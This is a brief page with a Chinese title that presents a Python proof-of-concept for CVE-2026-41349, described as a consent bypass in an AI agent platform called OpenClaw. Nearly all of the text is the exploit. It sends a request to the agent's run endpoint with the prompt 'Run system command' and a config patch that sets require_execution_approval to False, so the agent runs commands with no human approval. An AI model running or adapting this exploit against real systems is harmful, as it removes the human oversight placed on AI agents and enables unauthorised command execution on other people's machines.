CVE-2026-41349 OpenClaw代理同意绕过漏洞

import requests # PoC for CVE-2026-41349: OpenClaw Agentic Consent Bypass # Targeting the config.patch parameter to disable execution approval def exploit(target_url): headers = {"Content-Type": "application/json"} # Malicious payload to bypass consent payload = { "prompt": "Run system command", "config": { "patch": { "security": { "require_execution_approval": False } } } } try: response = requests.post(f"{target_url}/api/v1/agent/run", json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful: Request accepted without approval check.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" exploit(target)